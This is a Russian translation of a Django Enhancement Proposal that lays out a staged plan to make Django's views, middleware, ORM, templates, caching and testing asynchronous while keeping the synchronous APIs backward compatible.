Это гигантская работа? Конечно. Но я чувствую, что это позволяет существенно изменить будущее Django — у нас есть возможность взять и проверенный фреймворк, и невероятное сообщество, и внедрить совершенно новый набор опций, которые раньше были невозможны.
Веб изменился, и Django должен измениться вместе с ним, но в соответствии с нашими идеалами быть доступным, безопасным по умолчанию и гибким по мере роста проектов и изменения их потребностей. В мире облачных хранилищ данных, сервис-ориентированной архитектуры и бэкенда как основы сложной бизнес-логики возможность выполнять вещи конкурентно является ключевой.
Этот DEP обрисовывает в общих чертах план, который, я думаю, приведёт нас туда. Это видение, в которое я очень верю и с которым я буду работать, чтобы помочь сделать всё возможное. В то же время тщательный анализ и скептицизм оправданы; я прошу вашей конструктивной критики, а также ваше доверие. Django опирается на сообщество людей и создаваемых ими приложений, и, если мы должны определить путь на будущее, мы должны сделать это вместе.
Краткое описание
----------------
Мы собираемся добавить в Django поддержку асинхронных представлений, middleware, ORM и других важных элементов.
Это будет сделано путём запуска синхронного кода в потоках с постепенной его заменой на асинхронный код. Синхронные API продолжат существовать и полностью поддерживаться, а со временем превратятся в синхронные обёртки для изначально асинхронного кода.
Режим ASGI будет запускать Django как нативное асинхронное приложение. Режим WSGI будет запускать отдельный event loop при каждом обращении к Django, чтобы асинхронный слой был совместим с синхронным сервером.
Многопоточность вокруг ORM сложна и требует новой концепции контекстов соединения и липких потоков (sticky threads) для запуска синхронного кода ORM.
Многие части Django будут продолжать работать синхронно, и наш приоритет будет заключаться в поддержке пользователей, пишущих представления в обоих стилях, позволяя им выбирать лучший стиль для представления, над которым они работают.
Некоторые функции, такие как шаблоны и кэширование, будут нуждаться в собственных отдельных DEP и исследованиях, как их сделать полностью асинхронными. Этот DEP в основном фокусируется на HTTP-middleware-view flow и на ORM.
Будет полная обратная совместимость. Стандартный проект Django 2.2 должен запускаться в асинхронном Django (будь то 3.0 или 3.1) без изменений.
Это предложение ориентировано на выполнение небольшими, итеративными частями с постепенным их помещением в master-ветку, чтобы избежать проблем с долгоживущим форком и позволить нам менять курс по мере обнаружения проблем.
Это хорошая возможность привлечь новых участников. Мы должны финансировать проект, чтобы это произошло быстрее. Финансирование должно быть в масштабе, к которому мы не привыкли.
Спецификация
------------
Общая цель состоит в том, чтобы каждая отдельная часть Django, которая может быть блокирующей — то есть не просто CPU-bound вычисления — стала асинхронной (запускалась в асинхронном event loop без блокировок).
Это включает в себя следующие функции:
* Промежуточные слои (Middleware)
* Представления (Views)
* ORM
* Шаблоны
* Тестирование
* Кэширование
* Валидация форм
* Email
Однако сюда не входят такие вещи, как интернационализация, которая не принесёт никакого выигрыша в производительности, поскольку это CPU-bound задача, которая к тому же выполняется быстро, или миграции, которые являются однопоточными при запуске через management command.
Каждая отдельная функция, которая становится асинхронной внутри, также будет предоставлять синхронный интерфейс, который обратно совместим с текущим API (в 2.2) в обозримом будущем — мы могли бы со временем изменить его, чтобы сделать их лучше, но синхронные API никуда не пропадут.
Обзор того, как это достигается технически, приведен ниже, а затем приведены конкретные детали реализации для конкретных областей. Он не является исчерпывающим для всех функций Django, но если мы достигнем этой первоначальной цели, то мы включим почти все варианты использования.
В заключительной части этого раздела, «Порядок действий», также рассматривается, как эти изменения могут выполняться постепенно и несколькими группами разработчиков параллельно, что важно для завершения этих изменений с помощью волонтёров в разумные сроки.
### Технический обзор
Принцип, который позволяет нам поддерживать синхронную и асинхронную реализации параллельно, — это возможность запускать один стиль внутри другого.
Каждая функция будет проходить три этапа реализации:
* Только синхронная (мы находимся здесь)
* Синхронная реализация с асинхронной обёрткой
* Асинхронная реализация с синхронной обёрткой
#### Асинхронная обёртка
Сначала существующий синхронный код будет обёрнут в асинхронный интерфейс, который запускает синхронный код в пуле потоков. Это позволит нам спроектировать и предоставить асинхронный интерфейс относительно быстро, без необходимости переписывать весь имеющийся код на асинхронность.
Инструментарий для этого уже доступен в [asgiref](https://github.com/django/asgiref) в виде функции `sync_to_async`, которая поддерживает штуки вроде обработки исключений или threadlocals (подробнее об этом ниже).
Выполнение кода в потоках скорее всего не приведёт к увеличению производительности — появившиеся накладные расходы, вероятно, немного замедлят его в случае, когда вы просто запускаете нормальный линейный код, — но это позволит разработчикам начать запускать что-нибудь конкурентно и привыкнуть к новым возможностям.
Кроме того, есть несколько частей Django, которые чувствительны к запуску в *том же* потоке при повторном обращении; например, обработка транзакций в БД. Если бы мы обернули в `atomic()` какой-нибудь код, который затем обращался бы к ORM через случайные потоки, взятые из пула, транзакция не имела бы эффекта, поскольку она привязана к соединению внутри того потока, в котором была запущена транзакция.
В таких ситуациях требуется «липкий поток» ("sticky thread"), в котором асинхронный контекст последовательно вызывает весь синхронный код в одном и том же потоке вместо распихивания его по пулу потоков, сохраняя правильное поведение ORM и других чувствительных к потокам частей. Все части Django, которые, как мы подозреваем, нуждаются в этом, в том числе весь ORM, будут использовать версию `sync_to_async`, которая учитывает это, так что всё по умолчанию безопасно. Пользователи смогут выборочно отключать это для конкурентного выполнения запросов — подробнее см. «ORM» ниже.
#### Асинхронная реализация
Следующий шаг — переписать реализацию функции на асинхронный код и затем представить синхронный интерфейс через обёртку, которая выполняет асинхронный код в одноразовом event loop. Это уже доступно в [asgiref](https://github.com/django/asgiref) в виде функции `async_to_sync`.
Необязательно переписывать сразу все функции для быстрого перехода к третьему этапу. Мы можем сосредоточить свои усилия на тех частях, которые мы умеем делать хорошо и которые имеют поддержку сторонними библиотеками, параллельно помогая остальной экосистеме Python в вещах, которые требуют большей работы для реализации нативной асинхронности; это рассматривается ниже.
Этот общий обзор работает почти со всеми функциями Django, которые должны стать асинхронными, за исключением тех мест, для которых Python не предоставляет асинхронных эквивалентов функций, которые мы уже используем. Результатом будет либо изменение в том, как Django представляет свой API в асинхронном режиме, либо работа с core-разработчиками Python, чтобы помочь в разработке асинхронных возможностей Python.
### Threadlocals
Одна из базовых деталей реализации Django, которую необходимо упомянуть отдельно от большинства описанных ниже функций, — это threadlocals. Как следует из названия, threadlocals работают в пределах потока, и хотя Django держит объект `HttpRequest` за пределами threadlocal, мы помещаем туда несколько других вещей — например, соединения с базой данных или текущий язык.
Использование threadlocals может быть разделено на два варианта:
* «Context locals», где значение необходимо в пределах некоторого stack-based контекста, такого как запрос. Это нужно для установки текущего языка.
* «True threadlocals», где защищаемый код в самом деле небезопасен для вызова из другого потока. Это нужно для соединений с базой данных.
На первый взгляд может показаться, что «context locals» могут быть решены с помощью нового модуля [contextvars](https://docs.python.org/3/library/contextvars.html) в Python, но Django 3.0 ещё должен будет поддерживать Python 3.6, в то время как этот модуль появился в 3.7. Кроме того, `contextvars` специально предназначен для избавления от контекста, когда происходит переключение, например, в новый поток, в то время как нам нужно сохранить эти значения, чтобы позволить функциям `sync_to_async` и `async_to_sync` нормально работать в качестве обёрток. Когда Django станет поддерживать только 3.7 и новее, мы могли бы рассмотреть возможность использования `contextvars`, но это потребовало бы значительной работы в Django.
Это уже решено с помощью [asgiref](https://github.com/django/asgiref) `Local`, который совместим с сопрограммами и потоками. Сейчас он не использует `contextvars`, но мы можем переключить его на работу с бэкпортом для 3.6 после некоторого тестирования.
«True threadlocals», с другой стороны, могут просто продолжить работать в текущем потоке. Тем не менее, мы должны быть более осторожными, чтобы предотвратить утечку таких объектов в другой поток; когда представление больше не выполняется в одном и том же потоке, а порождает поток для каждого вызова ORM (во время этапа «синхронная реализация, асинхронная обёртка»), некоторые вещи, которые были возможны в синхронном режиме, будут невозможны в асинхронном.
Это потребует отдельного внимания и запрета некоторых ранее возможных операций в асинхронном режиме; случаи, о которых мы знаем, описаны ниже в конкретных разделах.
### Одновременная поддержка синхронного и асинхронного интерфейсов
Одна из больших проблем, с которой мы столкнемся при попытке портировать Django, заключается в том, что Python не позволяет сделать синхронную и асинхронную версии функции с одним и тем же именем.
Это значит, что нельзя просто так взять и сделать такой API, который бы работал примерно так:
```
# Синхронная версия
value = cache.get("foo")
# Асинхронная версия
value = await cache.get("bar")
```
Это неудачное ограничение того способа, которым реализована асинхронность в Python, и здесь нет очевидного пути обхода. Когда что-то вызывается, вы не знаете, будут ли вас await'ить или нет, поэтому нет возможности определить, что именно нужно возвращать.
(Примечание: это связано с тем, что Python реализует асинхронные функции как «синхронный callable который возвращает сопрограмму», а не как что-то вроде «вызов метода `__acall__` у объекта». Асинхронные контекстные менеджеры и итераторы не имеют такой проблемы, потому что у них есть отдельные методы `__aiter__` и `__aenter__`.)
С учётом этого мы должны поместить пространства имён синхронной и асинхронной реализаций отдельно друг от друга, чтобы они не конфликтовали. Мы могли бы сделать это с помощью именованного аргумента `sync=True`, но это приводит к запутанным телам функций/методов и не даёт использовать `async def`, а также позволяет случайно забыть написать этот аргумент. Случайный вызов синхронного метода, когда вы хотели вызвать его асинхронно, опасен.
Предлагаемое решение для большинства мест в кодовой базе Django состоит в предоставлении суффикса для имён асинхронных реализаций функций — например, `cache.get_async` в дополнение к синхронному `cache.get`. Хотя это уродливое решение, оно позволяет очень легко обнаружить ошибки при просмотре кода (вы должны использовать `await` с `_async`-методом).
### Представления и обработка HTTP
Представления (views), возможно, являются краеугольным камнем полезности асинхронности, и мы ожидаем, что большинство пользователей будут делать выбор между асинхронным и синхронным кодом.
Django будет поддерживать два вида представлений:
* Синхронные представления, определяемые, как и сейчас, синхронной функцией или классом с синхронным `__call__`
* Асинхронные представления, определяемые асинхронной функцией (возвращающей сопрограмму) или классом с асинхронным `__call__`.
Их будет обрабатывать `BaseHandler`, который будет проверять представление, полученное от URL resolver, и вызывать его соответствующим образом. Базовый обработчик должен быть первой частью Django, которая станет асинхронной, и нам нужно будет изменить обработчик WSGI, чтобы он вызывал его в своём собственном event loop, используя `async_to_sync`.
Промежуточные слои (middleware) или настройки вроде `ATOMIC_REQUESTS`, которые оборачивают представления в не асинхронно-безопасный код (например, блок `atomic()`), продолжат работать, но будет влияние на их скорость (например, запрет параллельных вызовов ORM внутри представления при `atomic()`).
Существующий класс `StreamingHttpResponse` будет изменён, чтобы иметь возможность принимать либо синхронный, либо асинхронный итератор, и тогда его внутренняя реализация всегда будет асинхронной. Аналогично и для `FileResponse`. Поскольку это потенциальная точка обратной несовместимости для стороннего кода, который непосредственно обращается к объектам Response, нам всё равно нужно будет предоставить синхронный `__iter__` для переходного периода.
WSGI по-прежнему будет поддерживаться Django в течение неопределённого времени, но обработчик WSGI перейдет к запуску асинхронных middleware и представлений в своём собственном одноразовом event loop. Это, вероятно, приведёт к небольшому снижению производительности, но в первоначальных экспериментах это не оказало слишком большого влияния.
Все функции асинхронного HTTP будут работать внутри WSGI, включая long-polling и медленные ответы, но они будут такими же неэффективными, как и сейчас, занимая по потоку/процессу на каждое соединение. Серверы ASGI будут единственными, кто сможет эффективно поддерживать множество одновременных запросов, а также обрабатывать не-HTTP протоколы, такие как WebSocket, для использования такими расширениями вроде [Channels](https://channels.readthedocs.io/en/stable/).
### Промежуточные слои
В то время как в предыдущем разделе обсуждался в основном путь request/response, для middleware необходим отдельный раздел из-за сложности, заложенной в их текущем дизайне.
Django middleware сейчас устроены в виде стека, в котором каждый middleware получает `get_response` для запуска следующего по порядку middleware (или представления для самого нижнего middleware в стеке). Однако нам необходимо поддерживать смесь синхронных и асинхронных middleware для обратной совместимости, и эти два типа не смогут обращаться друг к другу нативно.
Таким образом, чтобы обеспечить работу middleware, нам придется вместо этого инициализировать каждый middleware плейсхолдером get\_response, который вместо этого возвращает управление обратно в обработчик и обрабатывает как передачу данных между middleware и представлением, так и проброс исключения. В некотором смысле это в конечном итоге будет выглядеть как middleware эпохи Django 1.0 с внутренней точки зрения, хотя, конечно, пользовательский API останется прежним.
Мы можем объявить синхронные middleware устаревшими, но я рекомендую не делать этого в ближайшее время. Если и когда мы дойдём до конца цикла их устаревания, мы могли бы затем вернуть реализацию middleware в чисто рекурсивную стековую модель, как сейчас.
### ORM
ORM — самая большая часть Django по размеру кода и самая сложная для преобразования в асинхронную.
Во многом это связано с тем, что лежащие в основе драйверы баз данных являются синхронными by design, и продвижение будет медленным к набору зрелых, стандартизированных, асинхронных драйверов баз данных. Вместо этого мы должны спроектировать будущее, в котором драйверы баз данных изначально будут синхронными, и сделать фундамент для контрибьюторов, которые в дальнейшем будут разрабатывать асинхронные драйверы итеративным путём.
Проблемы с ORM делятся на две основные категории — потоки и неявные блокировки.
#### Потоки
Основная проблема с ORM в том, что Django разработан вокруг единого глобального объекта `connections`, который магически выдаёт вам подходящее соединение для вашего текущего потока.
В асинхронном мире — где все сопрограммы работают в одном и том же потоке — это не только раздражает, но и просто опасно. Без какой-либо дополнительной безопасности пользователь, обращающийся к ORM как обычно, рискует сломать объекты соединений обращением из нескольких разных мест.
К счастью, объекты соединений хотя бы переносимы между потоками, хоть их и нельзя вызвать из двух потоков одновременно. Django уже заботится о thread-safety для драйверов баз данных в коде ORM, и поэтому у нас есть место для изменения его поведения для правильной работы.
Мы изменим объект `connections` так, чтобы он понимал как сопрограммы, так и потоки — повторно используя некоторый код из `asgiref.local`, но с добавлением дополнительной логики. Соединения будут совместно использоваться в асинхронном и синхронном коде, который вызывает друг друга — с передачей контекста через `sync_to_async` и `async_to_sync` — и синхронный код будет принудительно выполняться последовательно в одном «липком потоке» ("sticky thread"), так что это всё не сможет работать одновременно и ломать thread-safety.
Это подразумевает, что нам нужно решение вроде контекстного менеджера для открытия и закрытия подключения к базе данных, подобно `atomic()`. Это позволит нам обеспечить последовательный вызов и sticky threads в этом контексте и позволить пользователям создавать несколько контекстов, если они хотят открыть несколько соединений. Это также дает нам потенциальный путь избавления от магического глобального `connections`, если мы хотим развивать это дальше.
На данный момент Django не имеет управления жизненным циклом соединений, которое не зависит от сигналов класса обработчика, и поэтому мы будем использовать их для создания и очистки этих «контекстов соединения». Документация также будет обновлена, чтобы было понятнее, как правильно обрабатывать соединения вне цикла запрос/ответ; даже в текущем коде многие пользователи не знают, что любая долго работающая management-команда должна периодически вызывать `close_old_connections` для корректной работы.
Обратная совместимость означает, что мы должны разрешать пользователям доступ к `connections` из любого случайного кода в любое время, но мы разрешим это только для синхронного кода; мы обеспечим, чтобы код был обёрнут в «контекст соединения», если он асинхронный, с первого дня.
Может показаться, что было бы неплохо добавить в дополнение к `transaction.atomic()` ещё и `transaction.autocommit()` и требовать у пользователя запускать весь код внутри одного из них, но это может привести к путанице по поводу того, что происходит, если вложить один из них внутрь другого.
Вместо этого я предлагаю создать новый контекстный менеджер `db.new_connections()`, который включает это поведение, и заставить его создавать новое подключение всякий раз, когда он вызывается, и позволить произвольное вложение `atomic()` внутри него.
Каждый раз при входе в блок `new_connections()` Django настраивает новый контекст с новыми подключениями к базе данных. Все транзакции, которые выполнялись за пределами блока, продолжаются; любые вызовы ORM внутри блока работают с новым подключением к базе данных и будут видеть базу данных с этой точки зрения. Если в базе данных включена изоляция транзакций, как это обычно делается по умолчанию, это означает, что новые соединения внутри блока могут не видеть изменений, внесённых какими-либо незафиксированными транзакциями за её пределами.
Кроме того, соединения внутри этого блока `new_connections` могут сами использовать `atomic()` для запуска дополнительных транзакций на этих новых соединениях. Разрешается любое вложение этих двух диспетчеров контекста, но каждый раз, когда используется `new_connections`, ранее открытые транзакции «приостанавливаются» и не влияют на вызовы ORM до тех пор, пока не будет завершён новый блок `new_connections`.
Пример, как этот API может выглядеть:
```
async def get_authors(pattern):
# Create a new context to call concurrently
async with db.new_connections():
return [
author.name
async for author in Authors.objects.filter(name__icontains=pattern)
]
async def get_books(pattern):
# Create a new context to call concurrently
async with db.new_connections():
return [
book.title
async for book in Book.objects.filter(name__icontains=pattern)
]
async def my_view(request):
# Query authors and books concurrently
task_authors = asyncio.create_task(get_authors("an"))
task_books = asyncio.create_task(get_books("di"))
return render(
request,
"template.html",
{
"books": await task_books,
"authors": await task_authors,
},
)
```
Это несколько многословно, но цель также состоит в том, чтобы добавить высокоуровневые шорткаты, чтобы включить такое поведение (а также охватить переход от `asyncio.ensure_future` в Python 3.6 к `asyncio.create_task` в 3.7).
С помощью этого контекстного менеджера и «липких потоков» в пределах одного контекста соединения мы гарантируем, что весь код будет настолько безопасным, насколько мы сможем сделать это по умолчанию; есть вероятность, что пользователь может использовать соединение в одном потоке для двух разных частей запроса, используя `yield`, но это и так возможно сейчас.
#### Неявные блокировки
Другая проблема текущего дизайна ORM в том, что в экземплярах моделей встречаются блокирующие (связанные с сетью) операции, в частности чтение связанных полей.
Если вы берёте экземпляр модели и затем обращаетесь к `model_instance.related_field`, Django прозрачно подгрузит содержимое связанной модели и вернёт его вам. Однако это невозможно в асинхронном коде — блокирующий код не должен выполняться в главном потоке, а асинхронного варианта доступа к атрибутам нет.
К счастью, у Django уже есть выход из этого — `select_related`, который подгружает связанные поля заранее, и `prefetch_related` для отношений «многие ко многим». Если вы используете ORM асинхронно, мы запретим любые неявно блокирующие операции, такие как фоновый доступ к атрибутам, и вместо этого вернём ошибку, сообщающую, что вы должны предварительно извлечь поле.
Это даёт дополнительное преимущество, заключающееся в предотвращении медленного кода, который выполняет N запросов в цикле `for`, что является частой ошибкой многих начинающих программистов на Django. Это поднимает входной барьер, но помните, что асинхронный Django будет необязательным — пользователи по-прежнему смогут писать синхронный код, если они пожелают (и это будет поощряться в учебнике, так как в синхронном коде намного сложнее ошибиться).
`QuerySet`, к счастью, может запросто реализовать асинхронные генераторы и прозрачно поддерживать и синхронность, и асинхронность:
```
async def view(request):
data = []
async for user in User.objects.all():
data.append(await extract_important_info(user))
return await render("template.html", data)
```
#### Другое
Части ORM, связанные с изменением схемы, не будут асинхронными; они должны вызываться только из management-команд. Некоторые проекты уже вызывают их в представлениях, но это в любом случае не очень хорошая идея.
### Шаблоны
Шаблоны сейчас полностью синхронные, и план состоит в том, чтобы оставить их такими на первом этапе. Написание асинхронного языка шаблонов возможно, но это будет значительный объем работы, заслуживающий отдельного обсуждения и DEP.
Стоит отметить, что Jinja2 уже поддерживает асинхронность, так что было бы неплохо рассмотреть вариант официально рекомендовать его для некоторых случаев использования.
Учитывая это, мы добавим асинхронную обёртку в текущую библиотеку шаблонов Django и её различные точки входа, но всё же будем запускать шаблонов синхронно. Движок Jinja2 будет обновлён для использования его собственной асинхронности, и будет добавлена документация, чтобы позволить всем остальным делать то же самое, если они того пожелают.
Нам нужно будет изменить сигнатуру движка шаблонов, включив в неё метод `render_async`, аналогичный методу `render`; при этом будет вызываться асинхронная реализация, если она определена, и тогда шаблон будет рендериться в асинхронном режиме.
### Кэширование
В механизм кэширования Django нужно будет добавить асинхронный вариант — к движкам кэширования добавляются `_async`-варианты методов (например, `get_async`, `set_async`).
Реализации по умолчанию, которые просто обращаются к уже существующему API через `sync_to_async`, будут добавлены в `BaseCache`.
Кажется, нет никаких проблем с thread-safety в том API кэширования, который предоставляет Django, но мы должны изучить сторонние библиотеки и убедиться, что есть все нужные для них механизмы. Те же самые утилиты, которые мы пишем для ORM, вероятно, помогут в подобной ситуации для кэшей.
### Формы
Хотя базовая библиотека форм не нуждается в поддержке асинхронности, проверка и сохранение форм могут быть переопределены пользователем, и как этот код, так и несколько частей `ModelForm` используют ORM для связи с базой данных.
Это означает, что в какой-то момент методы `clean` и `save`, как минимум, должны вызываться асинхронно. Однако, как и в случае с шаблонами, я полагаю, что это не является критически важным для достижения цели в рамках первого этапа и поэтому может быть решено с помощью отдельных рабочей группы и DEP.
### Email
Отправка электронной почты является одной из основных частей Django, которая особенно выиграет от асинхронного интерфейса. Можно добавить вариант `send_mail_async` функции `send_mail`, а также `async`-варианты всех основных функций для работы с почтой (например, `mail_admins`).
Это должна быть одна из наиболее независимых частей Django для преобразования, и уже есть асинхронно-совместимые библиотеки SMTP, если мы решим их использовать. Опять же, однако, у этой задачи более низкий приоритет, и она может быть решена отдельно, когда придёт время.
### Тестирование
Тестирование асинхронных приложений довольно сложно, и некоторые части фреймворка тестирования Django потребуют обновления.
На базовом уровне сырые ASGI-приложения можно тестировать с помощью `asgiref.testing.ApplicationCommunicator`. Он позаботится о запуске сопрограммы приложения вместе с тестом и позволит выполнить assert'ы на выходе.
Однако большинство пользователей Django будут использовать тестовый клиент для тестирования своего сайта, поэтому его необходимо обновить, чтобы он работал в асинхронном режиме. Что интересно, это не является жёстким требованием — тестовый клиент в том виде, в каком он есть, будет обновлён для запуска асинхронного ядра обработки HTTP в своём собственном event loop, чтобы соответствовать обработчику WSGI.
Основным преимуществом наличия асинхронного тестового клиента будет более быстрое тестирование и возможность более прямого инспектирования сопрограмм. Это означает, что однажды это должно быть сделано, но в начале это не критично.
Что действительно критично, так это способность запускать тесты, которые сами по себе являются асинхронными. Прямо сейчас это возможно путём декорирования `async def` теста с помощью `@async_to_sync`, но его самого нужно тщательно протестировать и, может, получше интегрировать в Django test runner.
Также должна быть возможность включать режимы отладки asyncio (которые обнаруживают заблокированные loop'ы и сопрограммы, которые никогда не запускались) во время тестов, и, вероятно, также при `DEBUG=True`. Это средство отладки просто печатает в консоль по умолчанию — нам нужно выяснить, можем ли мы сделать его более явным, чтобы помочь нашим пользователям писать безопасный код.
### WebSockets
Поддержки вебсокетов не будет в самом Django; вместо этого мы позаботимся о том, чтобы у Channels были все хуки, необходимые для чистой интеграции и работы с ASGI, чтобы он мог обрабатывать вебсокеты самостоятельно.
Цель состоит в том, чтобы не только обеспечить простой перенос вебсокетов в Channels, но и позволить другим приложениям принимать другие протоколы, которые могут предоставлять серверы ASGI.
### Порядок действий
Как видно из приведенных выше разделов, каждая функция имеет свои проблемы, которые необходимо преодолеть. Если бы мы решали всё это последовательно, прошли бы годы до появления даже первоначальной версии всего этого.
Тем не менее, возможность добавлять асинхронные обёртки вокруг синхронных функций позволяет нам быть гораздо более итеративными во всём этом. На самом деле есть только две основные части работы, которые необходимо выполнить в первую очередь — иметь возможность создания асинхронных представлений и включить асинхронные тесты.
После того, как обе этих задачи будут завершены, мы можем работать над всеми остальными функциями параллельно и выпускать их по мере готовности. Даже в некоторых функциях, таких как ORM, мы можем сначала сделать базовые операции асинхронными, выпустить их, а затем реализовывать всё остальное с учётом отзывов наших пользователей.
Предлагаемый порядок таков:
* Первый этап (вероятно в 3.0)
+ Обработка HTTP, промежуточных слоёв и представлений (асинхронная реализация с синхронной обёрткой)
+ Безопасность async и обнаружение использования нескольких потоков в ORM
+ Поддержка асинхронных тестов
* Второй этап (вероятно в 3.1)
+ ORM (асинхронная обёртка вокруг текущего синхронного ядра)
+ Шаблоны (асинхронная обёртка вокруг текущего синхронного ядра)
+ Кэширование (асинхронная обёртка вокруг текущего синхронного ядра)
* Последующие отдельные проекты
+ ORM (асинхронная реализация с синхронной обёрткой для обратной совместимости)
+ Кэширование (асинхронная реализация с синхронной обёрткой)
+ Email
+ Формы
Крайне важно не пытаться выпустить это как одно гигантское изменение; мы выиграем гораздо больше от того, что это будет постепенно. Будут неудачи на этом пути, и обеспечение того, чтобы каждая функция была изолирована от других, означает, что задержки в разработке разных функций не будут влиять друг на друга.
Может оказаться так, что мы посчитаем невозможным сделать какую-то функцию изначально асинхронной; в этом случае мы не должны бояться оставить её синхронной как есть, но с поддерживаемой асинхронной обёрткой, которая безопасно работает с функцией в пуле потоков. Цель состоит в том, чтобы сделать доступной асинхронность для разработчиков, использующих Django, а не сделать сам Django идеальным async-only проектом.
Некоторые из упомянутых проектов, скорее всего, будут иметь собственные DEP для реализации, включая уровень кэширования, шаблоны, email и формы. Асинхронный слой БД может также потребовать асинхронной версии DBAPI — это то, что как минимум требует некоторого обсуждения с core Python и, возможно, PEP, хотя уже была проделана определенная работа в этом направлении.
Мотивация
---------
Софт живёт в меняющемся мире, и это, пожалуй, особенно относится к вебу. Нынешний дизайн Django хорошо работает уже более десяти лет, и он по-прежнему является отличным дизайном для решения многих задач, которые должны выполнять бэкэнд-разработчики; он поддерживает миллиардные компании и вдохновил фреймворки на других языках использовать похожий дизайн.
Однако мы должны всегда думать о будущем и о том, как мы можем помочь развить веб-разработку снова. Хотя некоторые из этих изменений мы никогда не увидим, асинхронный код — это то, что уже появилось и существует некоторое время, и мы сейчас находимся в центре событий.
Асинхронный код даёт возможность преодолеть один из основных недостатков Python — его неэффективную многопоточность. Веб-серверы на Python должны тщательно балансировать между достаточным количеством потоков, чтобы обеспечить эффективное обслуживание запросов, и поддерживать низкие расходы на переключение контекста.
Хотя Python не является идеальным асинхронным языком и есть некоторые недостатки в дизайне `asyncio`, вокруг него выросло немало библиотек и модулей, и мы получаем выгоду от работы с большим сообществом. В то же время важно, чтобы у нас был план, дающий немедленную выгоду нашим пользователям, вместо того, чтобы пытаться написать совершенно новый Django-size фреймворк с нуля.
### Что это даёт
Мы не просто добавляем асинхронность в Django, чтобы сделать её более «быстрой»; цель состоит в том, чтобы предоставить такие возможности, к которым у наших пользователей — тех, кто ведёт разработку на базе Django — просто не было доступа ранее.
Ключевой частью этого является то, что наши пользователи смогут запускать вещи конкурентно. Будь то запросы к базе данных, запросы к внешним API или обращение к ряду микросервисов, большинству проектов Django приходится выполнять параллельную работу в какой-то момент внутри представления.
Очень немногие фреймворки приблизились к тому, чтобы сделать конкурентность доступной и безопасной, и Django имеет возможность пересечь эту границу. Если мы можем сделать конкурентную отправку запросов к базе данных так же просто, как это делает Django ORM сейчас, мы можем поднять планку того, что значит иметь фреймворк, который позволит вам написать быстрое веб-приложение.
Другая часть, которую нужно помнить, — это способность удерживать открытые соединения в течение длительного времени без лишнего потребления ресурсов. Даже без вебсокетов по-прежнему есть много long-poll соединений или server-sent events. Асинхронный Django позволил бы нашим пользователям писать приложения для обработки этих сценариев, не задумываясь о реверс-прокси для разгрузки трафика во время ожидания.
### Синхронность всё ещё имеет значение
Важно предоставить это как *добавление* поддержки асинхронности к Django; мы не переписываем его и не удаляем поддержку синхронности. На самом деле, я считаю, что синхронный код безопаснее и легче писать и что мы должны поощрять его, чтобы он был первым способом написания кода в большинстве случаев.
Django всегда отличался своей адаптивностью по мере роста сайтов и проектов, написанных с его помощью. Асинхронность должна учитывать это; поскольку Django-проект расширяется и усложняется, наши пользователи должны иметь возможность просто обратиться к документации, касающейся асинхронности, и использовать такие же интерфейсы, которые они знают и любят, чтобы продолжать делать свой проект.
Если мы не позволим им смешиваться, мы теряем много преимуществ наличия фреймворка всё-в-одном вроде Django и слишком сильно поднимаем входной барьер.
### Обратная совместимость
Как всегда, обратная совместимость невероятно важна. Мы никогда не собираемся выпускать «асинхронный Django», которым наши существующие пользователи не смогут воспользоваться; когда мы делаем этот релиз, он должен идти с традиционными примечаниями к выпуску, парой небольших примечаний по обновлению и в целом просто работать.
Количество переделок, которые мы должны сделать под капотом, чтобы сделать асинхронность и поддерживаемость, сделает обновление немного сложнее чем обычно для тех, кто использует недокументированные API Django, но мы должны приложить все усилия, чтобы извлечь уроки из таких вещей, как переход на Python 3, и обеспечить не только обратную совместимость публичного API, но и работу всех самых популярных пакетов Django и Python.
### Помощь Python
Python охватывает огромный спектр различных специальностей. Хотя традиционно веб играет большую роль в популярности и использовании Python, другие области, такие как научные вычисления, значительно выросли за последние годы.
Тем не менее, Django — и сообщество веб-программистов Python в целом — имеют много возможностей, чтобы помочь продвижению Python, и привлечение нового сообщества пользователей к асинхронному Python поможет его развитию. Поддержка асинхронности библиотеками уже достаточно хороша, но нет ничего более хорошего для экосистемы, чем целая куча сайтов, использующих асихнонность в продакшене новыми и интересными путями.
### Привлечение новых участников
Я и многие из моих коллег, постоянных контрибьюторов Django, набили руку на реализациях больших функций или путем подачи серий патчей для исправления ошибок. По мере того, как Django рос и развивался, эти возможности становились всё меньше и дальше.
Куча новой работы над функциями даёт нам широкие возможности привлечь новых участников и помочь им освоиться с контрибьютингом — тем более, что все, кто вносит свой вклад, даже предыдущие контрибьюторы, в любом случае должны будут освоить асинхронный код.
При условии, что мы правильно выполним проект — и предоставим места для запуска контрибьютинга, обучения и вознаграждений, — у нас будет одна из самых больших возможностей за последние годы расширить базу контрибьюторов Django (а также помочь увеличить количество людей, готовых внести свой вклад в асинхронный Python в целом).
### Что такое Django?
В конечном счёте мы должны рассмотреть, что такое Django. Если это то, что небольшая группа разработчиков намеревалась сделать в [Lawrence Journal-World](https://en.wikipedia.org/wiki/Lawrence_Journal-World) все эти годы — до появления динамичного веба, потокового вещания, SPA — тогда мы, вероятно, можем назвать его законченным. Поддерживать его, полировать, заботиться о безопасности, но в конечном счёте говорить, что все функции уже реализованы.
Но если мы говорим, что роль Django состоит в том, чтобы сделать веб-разработку проще, безопаснее и приятнее — даже когда меняются веб и стили программирования — тогда мы должны научиться адаптироваться. Асинхронность, вероятно, даже не самое большое изменение в этой области; подумайте, что может означать работа Django частично на стороне клиента, например.
Тем не менее, в неопределённом будущем асинхронный Django является важной частью фундаментальной работы. Это даёт нам немедленные выгоды, но также закладывает основу для будущих изменений. Это можно делать постепенно, поэтому мы можем не только обеспечить его устойчивое развитие, но и изменить курс, если нам нужно — убедиться, что мы установили курс на следующее десятилетие того, чем станет веб.
Обоснование
-----------
Вопросы перспективы асинхронного Django несколько раз поднимались в темах на django-developers и в [недавней ветке](https://groups.google.com/d/msg/django-developers/Kw7-xV6TrSM/CdWe8OKOBwAJ) получили почти всеобщее одобрение, но с некоторыми сомнениями по поводу конкретной реализации, на которые, как мы надеемся, ответит этот DEP.
Есть несколько способов решения вопроса асинхронности, но, в конечном счёте, на это повлияли несколько ключевых целей:
* Итеративность: этот подход допускает регулярные коммиты в master-ветку и возможность использовать асинхронные возможности в релизах Django по мере их готовности.
* Обратная совместимость: необходимость придерживаться существующего дизайна Django мешает нам сделать красивый, чистый дизайн асинхронного фреймворка, но в конечном итоге, если мы этого не сделаем, мы не сможем назвать это Django и люди не будут его использовать его.
* Устойчивость: асинхронность довольно сложно понять, и мы должны убедиться, что мы поддерживаем не только Django, но и проекты, использующие Django. Этот подход использует асинхронность там, где это необходимо, но оставляет вещи, для которых синхронность тоже вполне подходит, без изменений.
